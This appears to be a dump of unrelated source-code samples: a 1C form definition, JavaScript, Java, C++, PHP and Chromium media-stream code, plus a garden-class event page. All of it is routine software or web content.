text:
<?xml version="1.0" encoding="UTF-8"?>
<Form xmlns="http://v8.1c.ru/8.3/xcf/logform" xmlns:app="http://v8.1c.ru/8.2/managed-application/core" xmlns:cfg="http://v8.1c.ru/8.1/data/enterprise/current-config" xmlns:dcscor="http://v8.1c.ru/8.1/data-composition-system/core" xmlns:dcsset="http://v8.1c.ru/8.1/data-composition-system/settings" xmlns:ent="http://v8.1c.ru/8.1/data/enterprise" xmlns:lf="http://v8.1c.ru/8.2/managed-application/logform" xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:v8="http://v8.1c.ru/8.1/data/core" xmlns:v8ui="http://v8.1c.ru/8.1/data/ui" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows" xmlns:xr="http://v8.1c.ru/8.3/xcf/readable" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
	<Height>25</Height>
	<Customizable>false</Customizable>
	<CommandBarLocation>Bottom</CommandBarLocation>
	<VerticalScroll>useIfNecessary</VerticalScroll>
	<AutoCommandBar name="ФормаКоманднаяПанель" id="-1">
		<HorizontalAlign>Right</HorizontalAlign>
		<ChildItems>
			<Button name="ФормаОК" id="6">
				<Type>CommandBarButton</Type>
				<DefaultButton>true</DefaultButton>
				<CommandName>Form.Command.ОК</CommandName>
				<Parameter xsi:nil="true"/>
				<ExtendedTooltip name="ФормаОКExtendedTooltip" id="10"/>
			</Button>
		</ChildItems>
	</AutoCommandBar>
	<Events>
		<Event name="OnCreateAtServer">ПриСозданииНаСервере</Event>
	</Events>
	<ChildItems>

			<Representation>List</Representation>
			<ReadOnly>true</ReadOnly>
			<ChoiceMode>true</ChoiceMode>
			false
			<HorizontalLines>false</HorizontalLines>
			<VerticalLines>false</VerticalLines>
			<AutoInsertNewRow>true</AutoInsertNewRow>
			<DataPath>СписокКодировок</DataPath>
			<RowPictureDataPath>СписокКодировок.Picture</RowPictureDataPath>
			<SearchStringLocation>None</SearchStringLocation>
			<ViewStatusLocation>None</ViewStatusLocation>
			<SearchControlLocation>None</SearchControlLocation>
			<ContextMenu name="СписокКодировокКонтекстноеМеню" id="2"/>
			<AutoCommandBar name="СписокКодировокКоманднаяПанель" id="3">
				<Autofill>false</Autofill>
			</AutoCommandBar>
			<ExtendedTooltip name="СписокКодировокExtendedTooltip" id="11"/>
			<SearchStringAddition name="СписокКодировокSearchString" id="12">
				<Source>
					<lf:elementId>1</lf:elementId>
					<lf:additionId>0</lf:additionId>
				</Source>
				<ContextMenu name="СписокКодировокSearchStringContextMenu" id="13"/>
				<ExtendedTooltip name="СписокКодировокSearchStringExtendedTooltip" id="14"/>
			</SearchStringAddition>
			<ViewStatusAddition name="СписокКодировокViewStatus" id="15">
				<Source>
					<lf:elementId>1</lf:elementId>
					<lf:additionId>1</lf:additionId>
				</Source>
				<ContextMenu name="СписокКодировокViewStatusContextMenu" id="16"/>
				<ExtendedTooltip name="СписокКодировокViewStatusExtendedTooltip" id="17"/>
			</ViewStatusAddition>
			<SearchControlAddition name="СписокКодировокSearchControl" id="18">
				<Source>
					<lf:elementId>1</lf:elementId>
					<lf:additionId>2</lf:additionId>
				</Source>
				<ContextMenu name="СписокКодировокSearchControlContextMenu" id="19"/>
				<ExtendedTooltip name="СписокКодировокSearchControlExtendedTooltip" id="20"/>
			</SearchControlAddition>
			<Events>
				<Event name="Selection">СписокКодировокВыбор</Event>
			</Events>
			<ChildItems>
				<InputField name="СписокКодировокЗначение" id="4">
					<DataPath>СписокКодировок.Value</DataPath>
					<EditMode>EnterOnInput</EditMode>
					<ContextMenu name="СписокКодировокЗначениеКонтекстноеМеню" id="5"/>
					<ExtendedTooltip name="СписокКодировокЗначениеExtendedTooltip" id="21"/>
				</InputField>
			</ChildItems>

		<CheckBoxField name="ПоказыватьТолькоОсновныеКодировки" id="8">
			<DataPath>ПоказыватьТолькоОсновныеКодировки</DataPath>
			<TitleLocation>Right</TitleLocation>
			<CheckBoxType>Auto</CheckBoxType>
			<ContextMenu name="ПоказыватьТолькоОсновныеКодировкиКонтекстноеМеню" id="9"/>
			<ExtendedTooltip name="ПоказыватьТолькоОсновныеКодировкиExtendedTooltip" id="22"/>
			<Events>
				<Event name="OnChange">ПоказыватьТолькоОсновныеКодировкиПриИзменении</Event>
			</Events>
		</CheckBoxField>
	</ChildItems>
	<Attributes>
		<Attribute name="СписокКодировок" id="1">
			<Title>
				<v8:item>
					<v8:lang>ru</v8:lang>
					<v8:content>Список кодировок</v8:content>
				</v8:item>
			</Title>
			<Type>
				<v8:Type>v8:ValueListType</v8:Type>
			</Type>
		</Attribute>
		<Attribute name="ТекущаяКодировка" id="2">
			<Title>
				<v8:item>
					<v8:lang>ru</v8:lang>
					<v8:content>Текущая кодировка</v8:content>
				</v8:item>
			</Title>
			<Type>
				<v8:Type>xs:string</v8:Type>
				<v8:StringQualifiers>
					<v8:Length>0</v8:Length>
					<v8:AllowedLength>Variable</v8:AllowedLength>
				</v8:StringQualifiers>
			</Type>
		</Attribute>
		<Attribute name="ПоказыватьТолькоОсновныеКодировки" id="3">
			<Title>
				<v8:item>
					<v8:lang>ru</v8:lang>
					<v8:content>Показывать только основные кодировки</v8:content>
				</v8:item>
			</Title>
			<Type>
				<v8:Type>xs:boolean</v8:Type>
			</Type>
		</Attribute>
	</Attributes>
	<Commands>
		<Command name="ОК" id="1">
			<Title>
				<v8:item>
					<v8:lang>ru</v8:lang>
					<v8:content>ОК</v8:content>
				</v8:item>
			</Title>
			<ToolTip>
				<v8:item>
					<v8:lang>ru</v8:lang>
					<v8:content>ОК</v8:content>
				</v8:item>
			</ToolTip>
			<Action>ОК</Action>
		</Command>
	</Commands>
</Form>


text:
/**
This is a simple script, not a proper js module, which is used to bootstrap the build process for the RequireJS
build system.
It's different from runner.js in that the path to the main module is hardcoded, which is needed for RequireJS
*/

(function(args){
	require(
		["src/javascript/scxml/cgf/main"],
		function(main){
			main(args);
		}
	);
})(Array.prototype.slice.call(arguments));

redpajama_set_name: RedPajamaGithub


text:
<?xml version="1.0" encoding="utf-8"?>
<resources>

    <string name="http_cache_url_default">http://www.trinea.cn/test-for-http-cache.html</string>
    <string name="github_trinea">http://github.com/trinea</string>

</resources>


text:
/*
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
 * in compliance with the License. You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software distributed under the License
 * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
 * or implied. See the License for the specific language governing permissions and limitations under
 * the License.
 */
/*
 * This code was generated by https://github.com/googleapis/google-api-java-client-services/
 * Modify at your own risk.
 */

package com.google.api.services.discoveryengine.v1beta.model;

/**
 * Response of the ImportDocumentsRequest. If the long running operation is done, then this message
 * is returned by the google.longrunning.Operations.response field if the operation was successful.
 *
 *
 This is the Java data model class that specifies how to parse/serialize into the JSON that is
 * transmitted over HTTP when working with the Discovery Engine API. For a detailed explanation see:
 * https://developers.google.com/api-client-library/java/google-http-java-client/json
 *

 *
 * @author Google, Inc.
 */
@SuppressWarnings("javadoc")
public final class GoogleCloudDiscoveryengineV1alphaImportDocumentsResponse extends com.google.api.client.json.GenericJson {

  /**
   * Echoes the destination for the complete errors in the request if set.
   * The value may be {@code null}.
   */
  @com.google.api.client.util.Key
  private GoogleCloudDiscoveryengineV1alphaImportErrorConfig errorConfig;

  /**
   * A sample of errors encountered while processing the request.
   * The value may be {@code null}.
   */
  @com.google.api.client.util.Key
  private java.util.List<GoogleRpcStatus> errorSamples;

  /**
   * Echoes the destination for the complete errors in the request if set.
   * @return value or {@code null} for none
   */
  public GoogleCloudDiscoveryengineV1alphaImportErrorConfig getErrorConfig() {
    return errorConfig;
  }

  /**
   * Echoes the destination for the complete errors in the request if set.
   * @param errorConfig errorConfig or {@code null} for none
   */
  public GoogleCloudDiscoveryengineV1alphaImportDocumentsResponse setErrorConfig(GoogleCloudDiscoveryengineV1alphaImportErrorConfig errorConfig) {
    this.errorConfig = errorConfig;
    return this;
  }

  /**
   * A sample of errors encountered while processing the request.
   * @return value or {@code null} for none
   */
  public java.util.List<GoogleRpcStatus> getErrorSamples() {
    return errorSamples;
  }

  /**
   * A sample of errors encountered while processing the request.
   * @param errorSamples errorSamples or {@code null} for none
   */
  public GoogleCloudDiscoveryengineV1alphaImportDocumentsResponse setErrorSamples(java.util.List<GoogleRpcStatus> errorSamples) {
    this.errorSamples = errorSamples;
    return this;
  }

  @Override
  public GoogleCloudDiscoveryengineV1alphaImportDocumentsResponse set(String fieldName, Object value) {
    return (GoogleCloudDiscoveryengineV1alphaImportDocumentsResponse) super.set(fieldName, value);
  }

  @Override
  public GoogleCloudDiscoveryengineV1alphaImportDocumentsResponse clone() {
    return (GoogleCloudDiscoveryengineV1alphaImportDocumentsResponse) super.clone();
  }

}


text:
namespace GameEngine
{
	class PointLightActor : public LightActor
	{
	protected:
		virtual Mesh CreateGizmoMesh() override;
	public:
		PROPERTY_DEF(bool, EnableShadows, false);
		PROPERTY_DEF(float, Radius, 2000.0f);
		PROPERTY_DEF(float, DecayDistance90Percent, 1200.0f);
		PROPERTY_DEF(bool, IsSpotLight, false);
		PROPERTY_DEF(VectorMath::Vec3, Color, VectorMath::Vec3::Create(1.0f, 1.0f, 1.0f));
		PROPERTY_DEF(float, SpotLightStartAngle, 0.0f);
		PROPERTY_DEF(float, SpotLightEndAngle, 0.0f);
		virtual CoreLib::String GetTypeName() override
		{
			return "PointLight";
		}
		PointLightActor()
		{
			lightType = LightType::Point;
		}

	};
}

#endif


text:
package org.jboss.hal.testsuite.test.configuration.distributableweb;

import org.jboss.arquillian.core.api.annotation.Inject;
import org.jboss.arquillian.graphene.page.Page;
import org.jboss.arquillian.junit.Arquillian;
import org.jboss.hal.testsuite.Console;
import org.jboss.hal.testsuite.CrudOperations;
import org.jboss.hal.testsuite.creaper.ManagementClientProvider;
import org.jboss.hal.testsuite.fragment.FormFragment;
import org.jboss.hal.testsuite.fragment.TableFragment;
import org.jboss.hal.testsuite.page.configuration.DistributableWebPage;
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.wildfly.extras.creaper.core.online.OnlineManagementClient;
import org.wildfly.extras.creaper.core.online.operations.Operations;
import org.wildfly.extras.creaper.core.online.operations.Values;

import static org.jboss.hal.dmr.ModelDescriptionConstants.CACHE_CONTAINER;
import static org.jboss.hal.dmr.ModelDescriptionConstants.NAME;
import static org.jboss.hal.testsuite.fixtures.DistributableWebFixtures.INFINISPAN_SSO_CREATE;
import static org.jboss.hal.testsuite.fixtures.DistributableWebFixtures.INFINISPAN_SSO_DELETE;
import static org.jboss.hal.testsuite.fixtures.DistributableWebFixtures.INFINISPAN_SSO_UPDATE;
import static org.jboss.hal.testsuite.fixtures.DistributableWebFixtures.infinispanSSOAddress;
import static org.jboss.hal.testsuite.fixtures.InfinispanFixtures.CC_CREATE;
import static org.jboss.hal.testsuite.fixtures.InfinispanFixtures.cacheContainerAddress;
import static org.jboss.hal.testsuite.test.configuration.distributableweb.DistributableWebOperations.addCacheContainer;

@RunWith(Arquillian.class)
public class InfinispanSSOTest {

    private static final OnlineManagementClient client = ManagementClientProvider.createOnlineManagementClient();
    private static final Operations operations = new Operations(client);

    @BeforeClass
    public static void beforeClass() throws Exception {
        addCacheContainer(client, operations, CC_CREATE);
        Values values = Values.of(CACHE_CONTAINER, CC_CREATE);
        operations.add(infinispanSSOAddress(INFINISPAN_SSO_UPDATE), values);
        operations.add(infinispanSSOAddress(INFINISPAN_SSO_DELETE), values);
    }

    @AfterClass
    public static void tearDown() throws Exception {
        operations.removeIfExists(infinispanSSOAddress(INFINISPAN_SSO_DELETE));
        operations.removeIfExists(infinispanSSOAddress(INFINISPAN_SSO_UPDATE));
        operations.removeIfExists(infinispanSSOAddress(INFINISPAN_SSO_CREATE));
        operations.removeIfExists(cacheContainerAddress(CC_CREATE));
    }

    @Page private DistributableWebPage page;
    @Inject private CrudOperations crud;
    @Inject private Console console;
    private TableFragment table;
    private FormFragment form;

    @Before
    public void setUp() {
        page.navigate();
        console.verticalNavigation().selectPrimary("dw-infinispan-sso-management-item");
        table = page.getInfinispanSSOManagementTable();
        form = page.getInfinispanSSOManagementForm();
        table.bind(form);
    }

    @Test
    public void create() throws Exception {
        crud.create(infinispanSSOAddress(INFINISPAN_SSO_CREATE), table, f -> {
            f.text(NAME, INFINISPAN_SSO_CREATE);
            f.text(CACHE_CONTAINER, CC_CREATE);
        });
    }

    @Test
    public void reset() throws Exception {
        table.select(INFINISPAN_SSO_UPDATE);
        crud.reset(infinispanSSOAddress(INFINISPAN_SSO_UPDATE), form);
    }

    @Test
    public void delete() throws Exception {
        table.select(INFINISPAN_SSO_DELETE);
        crud.delete(infinispanSSOAddress(INFINISPAN_SSO_DELETE), table, INFINISPAN_SSO_DELETE);
    }
}


text:
// Copyright (c) 2012 Ecma International.  All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.

/*---
es5id: 15.4.4.17-7-c-i-16
description: >
    Array.prototype.some - element to be retrieved is inherited
    accessor property on an Array
---*/

        var kValue = "abc";

        function callbackfn(val, idx, obj) {
            if (idx === 1) {
                return val === kValue;
            }
            return false;
        }

            Object.defineProperty(Array.prototype, "1", {
                get: function () {
                    return kValue;
                },
                configurable: true
            });

assert([, , ].some(callbackfn), '[, , ].some(callbackfn) !== true');


text:
namespace plasma {

// IObjectStore stores objects with unique object id.
// It's not thread safe.
class IObjectStore {
 public:
  virtual ~IObjectStore() = default;

  /// Create a new object given object's info. Caller need to decide
  /// to use primary allocation or fallback allocation by setting
  /// fallback_allocate flag.
  /// NOTE: It ABORT the program if an object with the same id already exists.
  ///
  /// \param object_info Plasma object info.
  /// \param source From where the object is created.
  /// \param fallback_allocate Whether to use fallback allocation.
  /// \return
  ///   - pointer to created object or nullptr when out of space.
  virtual const LocalObject *CreateObject(const ray::ObjectInfo &object_info,
                                          plasma::flatbuf::ObjectSource source,
                                          bool fallback_allocate) = 0;

  /// Get object by id.
  ///
  /// \param object_id Object ID of the object to be sealed.
  /// \return
  ///   - nullptr if such object doesn't exist.
  ///   - otherwise, pointer to the object.
  virtual const LocalObject *GetObject(const ObjectID &object_id) const = 0;

  /// Seal created object by id.
  ///
  /// \param object_id Object ID of the object to be sealed.
  /// \return
  ///   - nulltpr if such object doesn't exist, or the object has already been sealed.
  ///   - otherise, pointer to the sealed object.
  virtual const LocalObject *SealObject(const ObjectID &object_id) = 0;

  /// Delete an existing object.
  ///
  /// \param object_id Object ID of the object to be sealed.
  /// \return
  ///   - false if such object doesn't exist.
  ///   - true if deleted.
  virtual bool DeleteObject(const ObjectID &object_id) = 0;
};

// ObjectStore implements IObjectStore. It uses IAllocator
// to allocate memory for object creation.
class ObjectStore : public IObjectStore {
 public:
  explicit ObjectStore(IAllocator &allocator);

  const LocalObject *CreateObject(const ray::ObjectInfo &object_info,
                                  plasma::flatbuf::ObjectSource source,
                                  bool fallback_allocate) override;

  const LocalObject *GetObject(const ObjectID &object_id) const override;

  const LocalObject *SealObject(const ObjectID &object_id) override;

  bool DeleteObject(const ObjectID &object_id) override;

 private:
  friend struct ObjectStatsCollectorTest;

  LocalObject *GetMutableObject(const ObjectID &object_id);

  /// Allocator that allocates memory.
  IAllocator &allocator_;

  /// Mapping from ObjectIDs to information about the object.
  absl::flat_hash_map<ObjectID, std::unique_ptr<LocalObject>> object_table_;
};
}  // namespace plasma


text:
title: "PRUNING JAPANESE MAPLES"
date: "2000-01-01 18:03:21 -06:00"
categories:
- adult
subtitle: ""
layout: "events"
event-image: "japanese-maple.jpg"
event-dates: "WEDNESDAY, MARCH 21 and SATURDAYS, MARCH 24 &amp March 31"
event-location: "Red Butte Garden Sprouthouse &amp Offsite"
button-type: "register"
tickets-link: "https://continue.utah.edu/lifelong/class/llhg_907_pruning_japanese_maples"
registration-info: " Phone Registration Available: 801-587-5433
Lifelong Learning: LLHG 907"
instructor-info: "Darrell Griggs"
member-cost: "$89"
public-cost: "$99"
event-notes: ""
tickets-button: ""
published: false
---

Class Times

WEDNESDAY &amp SATURDAYS, MARCH 21 @ 6:30-8:30PM & MARCH 24 &amp 31 @ 10:30AM-12:30PM

REGISTRATION REQUIRED

Japanese maples are elegant trees and when properly pruned can be transformed into living sculpture and garden art. Don't let the fragile branching structure of your Japanese maples intimidate you anymore. This hands-on class will focus on the finer points of pruning and give you the confidence to successfully prune your Japanese maples. Focus is on Japanese maples but techniques can be applied to other specimen trees. One classroom session followed by two hands-on field days will give you the knowledge, practice, and confidence to prune your own trees. Wear appropriate clothing and bring gloves and hand pruners to Saturday classes. Prerequisite Pruning 101 or other pruning basics class. Co-sponsored with Lifelong Learning.


text:
<?php

namespace DNADesign\Elemental\GraphQL;

use DNADesign\Elemental\Models\BaseElement;
use DNADesign\Elemental\Models\ElementalArea;
use DNADesign\Elemental\Services\ReorderElements;
use GraphQL\Type\Definition\ResolveInfo;
use GraphQL\Type\Definition\Type;
use InvalidArgumentException;
use SilverStripe\Core\Injector\Injector;
use SilverStripe\GraphQL\MutationCreator;
use SilverStripe\GraphQL\OperationResolver;
use SilverStripe\GraphQL\Scaffolding\StaticSchema;

if (!class_exists(MutationCreator::class)) {
    return;
}

/**
 * @deprecated 4.8..5.0 Use silverstripe/graphql:^4 functionality.
 */
class AddElementToAreaMutation extends MutationCreator implements OperationResolver
{
    public function attributes()
    {
        return [
            'name' => 'addElementToArea',
            'description' => 'Adds an Element to an ElementalArea, optionally after another Element'
        ];
    }

    public function type()
    {
        return $this->manager->getType(StaticSchema::inst()->typeNameForDataObject(BaseElement::class));
    }

    public function args()
    {
        return [
            'className' => ['type' => Type::nonNull(Type::string())],
            'elementalAreaID' => ['type' => Type::nonNull(Type::id())],
            'afterElementID' => ['type' => Type::id()],
        ];
    }

    public function resolve($object, array $args, $context, ResolveInfo $info)
    {
        $elementClass = $args['className'];
        $elementalAreaID = $args['elementalAreaID'];
        $afterElementID = isset($args['afterElementID']) ? $args['afterElementID'] : null;

        if (!is_subclass_of($elementClass, BaseElement::class)) {
            throw new InvalidArgumentException("$elementClass is not a subclass of " . BaseElement::class);
        }

        $elementalArea = ElementalArea::get()->byID($elementalAreaID);

        if (!$elementalArea) {
            throw new InvalidArgumentException("Invalid ElementalAreaID: $elementalAreaID");
        }

        if (!$elementalArea->canEdit($context['currentUser'])) {
            throw new InvalidArgumentException("The current user has insufficient permission to edit ElementalAreas");
        }

        /** @var BaseElement $newElement */
        $newElement = Injector::inst()->create($elementClass);

        if (!$newElement->canEdit($context['currentUser'])) {
            throw new InvalidArgumentException(
                'The current user has insufficient permission to edit Elements'
            );
        }

        // Assign the parent ID directly rather than via HasManyList to prevent multiple writes.
        // See BaseElement::$has_one for the "Parent" naming.
        $newElement->ParentID = $elementalArea->ID;
        // Ensure that a sort order is assigned - see BaseElement::onBeforeWrite()
        $newElement->onBeforeWrite();

        if ($afterElementID !== null) {
            /** @var ReorderElements $reorderer */
            $reorderer = Injector::inst()->create(ReorderElements::class, $newElement);
            $reorderer->reorder($afterElementID); // also writes the element
        } else {
            $newElement->write();
        }

        return $newElement;
    }
}


text:
namespace content {

namespace {

bool RemoveStreamDeviceFromArray(const StreamDeviceInfo device_info,
                                 StreamDeviceInfoArray* array) {
  for (StreamDeviceInfoArray::iterator device_it = array->begin();
       device_it != array->end(); ++device_it) {
    if (StreamDeviceInfo::IsEqual(*device_it, device_info)) {
      array->erase(device_it);
      return true;
    }
  }
  return false;
}

}  // namespace

// A request is identified by pair (request_id, handler), or ipc_request.
// There could be multiple clients making requests and each has its own
// request_id sequence.
// The ipc_request is garanteed to be unique when it's created in
// MediaStreamDispatcher.
struct MediaStreamDispatcher::Request {
  Request(const base::WeakPtr<MediaStreamDispatcherEventHandler>& handler,
          int request_id,
          int ipc_request)
      : handler(handler),
        request_id(request_id),
        ipc_request(ipc_request) {
  }
  bool IsThisRequest(
      int request_id1,
      const base::WeakPtr<MediaStreamDispatcherEventHandler>& handler1) {
    return (request_id1 == request_id && handler1.get() == handler.get());
  }
  base::WeakPtr<MediaStreamDispatcherEventHandler> handler;
  int request_id;
  int ipc_request;
};

struct MediaStreamDispatcher::Stream {
  Stream() {}
  ~Stream() {}
  base::WeakPtr<MediaStreamDispatcherEventHandler> handler;
  StreamDeviceInfoArray audio_array;
  StreamDeviceInfoArray video_array;
};

MediaStreamDispatcher::MediaStreamDispatcher(RenderViewImpl* render_view)
    : RenderViewObserver(render_view),
      main_loop_(base::MessageLoopProxy::current()),
      next_ipc_id_(0) {
}

MediaStreamDispatcher::~MediaStreamDispatcher() {}

void MediaStreamDispatcher::GenerateStream(
    int request_id,
    const base::WeakPtr<MediaStreamDispatcherEventHandler>& event_handler,
    const StreamOptions& components,
    const GURL& security_origin) {
  DCHECK(main_loop_->BelongsToCurrentThread());
  DVLOG(1) << "MediaStreamDispatcher::GenerateStream(" << request_id << ")";

  requests_.push_back(Request(event_handler, request_id, next_ipc_id_));
  Send(new MediaStreamHostMsg_GenerateStream(
      routing_id(), next_ipc_id_++, components, security_origin,
      blink::WebUserGestureIndicator::isProcessingUserGesture()));
}

void MediaStreamDispatcher::CancelGenerateStream(
    int request_id,
    const base::WeakPtr<MediaStreamDispatcherEventHandler>& event_handler) {
  DCHECK(main_loop_->BelongsToCurrentThread());
  DVLOG(1) << "MediaStreamDispatcher::CancelGenerateStream"
           << ", {request_id = " << request_id << "}";

  RequestList::iterator it = requests_.begin();
  for (; it != requests_.end(); ++it) {
    if (it->IsThisRequest(request_id, event_handler)) {
      int ipc_request = it->ipc_request;
      requests_.erase(it);
      Send(new MediaStreamHostMsg_CancelGenerateStream(routing_id(),
                                                       ipc_request));
      break;
    }
  }
}

void MediaStreamDispatcher::StopStreamDevice(
    const StreamDeviceInfo& device_info) {
  DVLOG(1) << "MediaStreamDispatcher::StopStreamDevice"
           << ", {device_id = " << device_info.device.id << "}";
  // Remove |device_info| from all streams in |label_stream_map_|.
  bool device_found = false;
  LabelStreamMap::iterator stream_it = label_stream_map_.begin();
  while (stream_it != label_stream_map_.end()) {
    StreamDeviceInfoArray& audio_array = stream_it->second.audio_array;
    StreamDeviceInfoArray& video_array = stream_it->second.video_array;

    if (RemoveStreamDeviceFromArray(device_info, &audio_array) ||
        RemoveStreamDeviceFromArray(device_info, &video_array)) {
      device_found = true;
      if (audio_array.empty() && video_array.empty()) {
        label_stream_map_.erase(stream_it++);
        continue;
      }
    }
    ++stream_it;
  }
  DCHECK(device_found);

  Send(new MediaStreamHostMsg_StopStreamDevice(routing_id(),
                                               device_info.device.id));
}

void MediaStreamDispatcher::EnumerateDevices(
    int request_id,
    const base::WeakPtr<MediaStreamDispatcherEventHandler>& event_handler,
    MediaStreamType type,
    const GURL& security_origin) {
  DCHECK(main_loop_->BelongsToCurrentThread());
  DCHECK(type == MEDIA_DEVICE_AUDIO_CAPTURE ||
         type == MEDIA_DEVICE_VIDEO_CAPTURE);
  DVLOG(1) << "MediaStreamDispatcher::EnumerateDevices("
           << request_id << ")";

  for (RequestList::iterator it = requests_.begin(); it != requests_.end();
       ++it) {
    DCHECK(!it->IsThisRequest(request_id, event_handler));
  }

  requests_.push_back(Request(event_handler, request_id, next_ipc_id_));
  Send(new MediaStreamHostMsg_EnumerateDevices(routing_id(),
                                               next_ipc_id_++,
                                               type,
                                               security_origin));
}

void MediaStreamDispatcher::StopEnumerateDevices(
    int request_id,
    const base::WeakPtr<MediaStreamDispatcherEventHandler>& event_handler) {
  DCHECK(main_loop_->BelongsToCurrentThread());
  DVLOG(1) << "MediaStreamDispatcher::StopEnumerateDevices("
           << request_id << ")";
  for (RequestList::iterator it = requests_.begin(); it != requests_.end();
       ++it) {
    if (it->IsThisRequest(request_id, event_handler)) {
      Send(new MediaStreamHostMsg_CancelEnumerateDevices(routing_id(),
                                                         it->ipc_request));
      requests_.erase(it);
      break;
    }
  }
}

void MediaStreamDispatcher::OpenDevice(
    int request_id,
    const base::WeakPtr<MediaStreamDispatcherEventHandler>& event_handler,
    const std::string& device_id,
    MediaStreamType type,
    const GURL& security_origin) {
  DCHECK(main_loop_->BelongsToCurrentThread());
  DVLOG(1) << "MediaStreamDispatcher::OpenDevice(" << request_id << ")";

  requests_.push_back(Request(event_handler, request_id, next_ipc_id_));
  Send(new MediaStreamHostMsg_OpenDevice(routing_id(),
                                         next_ipc_id_++,
                                         device_id,
                                         type,
                                         security_origin));
}

void MediaStreamDispatcher::CancelOpenDevice(
    int request_id,
    const base::WeakPtr<MediaStreamDispatcherEventHandler>& event_handler) {
  CancelGenerateStream(request_id, event_handler);
}

void MediaStreamDispatcher::CloseDevice(const std::string& label) {
  DCHECK(main_loop_->BelongsToCurrentThread());
  DCHECK(!label.empty());
  DVLOG(1) << "MediaStreamDispatcher::CloseDevice"
           << ", {label = " << label << "}";

  LabelStreamMap::iterator it = label_stream_map_.find(label);
  if (it == label_stream_map_.end())
    return;
  label_stream_map_.erase(it);

  Send(new MediaStreamHostMsg_CloseDevice(routing_id(), label));
}

bool MediaStreamDispatcher::Send(IPC::Message* message) {
  if (!RenderThread::Get()) {
    delete message;
    return false;
  }

  return RenderThread::Get()->Send(message);
}

bool MediaStreamDispatcher::OnMessageReceived(const IPC::Message& message) {
  bool handled = true;
  IPC_BEGIN_MESSAGE_MAP(MediaStreamDispatcher, message)
    IPC_MESSAGE_HANDLER(MediaStreamMsg_StreamGenerated,
                        OnStreamGenerated)
    IPC_MESSAGE_HANDLER(MediaStreamMsg_StreamGenerationFailed,
                        OnStreamGenerationFailed)
    IPC_MESSAGE_HANDLER(MediaStreamMsg_DeviceStopped,
                        OnDeviceStopped)
    IPC_MESSAGE_HANDLER(MediaStreamMsg_DevicesEnumerated,
                        OnDevicesEnumerated)
    IPC_MESSAGE_HANDLER(MediaStreamMsg_DeviceOpened,
                        OnDeviceOpened)
    IPC_MESSAGE_HANDLER(MediaStreamMsg_DeviceOpenFailed,
                        OnDeviceOpenFailed)
    IPC_MESSAGE_UNHANDLED(handled = false)
  IPC_END_MESSAGE_MAP()
  return handled;
}

void MediaStreamDispatcher::OnStreamGenerated(
    int request_id,
    const std::string& label,
    const StreamDeviceInfoArray& audio_array,
    const StreamDeviceInfoArray& video_array) {
  DCHECK(main_loop_->BelongsToCurrentThread());

  for (RequestList::iterator it = requests_.begin();
       it != requests_.end(); ++it) {
    Request& request = *it;
    if (request.ipc_request == request_id) {
      Stream new_stream;
      new_stream.handler = request.handler;
      new_stream.audio_array = audio_array;
      new_stream.video_array = video_array;
      label_stream_map_[label] = new_stream;
      if (request.handler.get()) {
        request.handler->OnStreamGenerated(
            request.request_id, label, audio_array, video_array);
        DVLOG(1) << "MediaStreamDispatcher::OnStreamGenerated("
                 << request.request_id << ", " << label << ")";
      }
      requests_.erase(it);
      break;
    }
  }
}

void MediaStreamDispatcher::OnStreamGenerationFailed(
    int request_id,
    content::MediaStreamRequestResult result) {
  DCHECK(main_loop_->BelongsToCurrentThread());
  for (RequestList::iterator it = requests_.begin();
       it != requests_.end(); ++it) {
    Request& request = *it;
    if (request.ipc_request == request_id) {
      if (request.handler.get()) {
        request.handler->OnStreamGenerationFailed(request.request_id, result);
        DVLOG(1) << "MediaStreamDispatcher::OnStreamGenerationFailed("
                 << request.request_id << ")\n";
      }
      requests_.erase(it);
      break;
    }
  }
}

void MediaStreamDispatcher::OnDeviceStopped(
    const std::string& label,
    const StreamDeviceInfo& device_info) {
  DCHECK(main_loop_->BelongsToCurrentThread());
  DVLOG(1) << "MediaStreamDispatcher::OnDeviceStopped("
           << "{label = " << label << "})"
           << ", {device_id = " << device_info.device.id << "})";

  LabelStreamMap::iterator it = label_stream_map_.find(label);
  if (it == label_stream_map_.end()) {
    // This can happen if a user happen stop a the device from JS at the same
    // time as the underlying media device is unplugged from the system.
    return;
  }
  Stream* stream = &it->second;
  if (IsAudioMediaType(device_info.device.type))
    RemoveStreamDeviceFromArray(device_info, &stream->audio_array);
  else
    RemoveStreamDeviceFromArray(device_info, &stream->video_array);

  if (stream->handler.get())
    stream->handler->OnDeviceStopped(label, device_info);

  if (stream->audio_array.empty() && stream->video_array.empty())
    label_stream_map_.erase(it);
}

void MediaStreamDispatcher::OnDevicesEnumerated(
    int request_id,
    const StreamDeviceInfoArray& device_array) {
  DCHECK(main_loop_->BelongsToCurrentThread());
  DCHECK_GE(request_id, 0);

  for (RequestList::iterator it = requests_.begin(); it != requests_.end();
       ++it) {
    if (it->ipc_request == request_id && it->handler.get()) {
      it->handler->OnDevicesEnumerated(it->request_id, device_array);
      break;
    }
  }
}

void MediaStreamDispatcher::OnDeviceOpened(
    int request_id,
    const std::string& label,
    const StreamDeviceInfo& device_info) {
  DCHECK(main_loop_->BelongsToCurrentThread());
  for (RequestList::iterator it = requests_.begin();
       it != requests_.end(); ++it) {
    Request& request = *it;
    if (request.ipc_request == request_id) {
      Stream new_stream;
      new_stream.handler = request.handler;
      if (IsAudioMediaType(device_info.device.type)) {
        new_stream.audio_array.push_back(device_info);
      } else if (IsVideoMediaType(device_info.device.type)) {
        new_stream.video_array.push_back(device_info);
      } else {
        NOTREACHED();
      }
      label_stream_map_[label] = new_stream;
      if (request.handler.get()) {
        request.handler->OnDeviceOpened(request.request_id, label, device_info);
        DVLOG(1) << "MediaStreamDispatcher::OnDeviceOpened("
                 << request.request_id << ", " << label << ")";
      }
      requests_.erase(it);
      break;
    }
  }
}

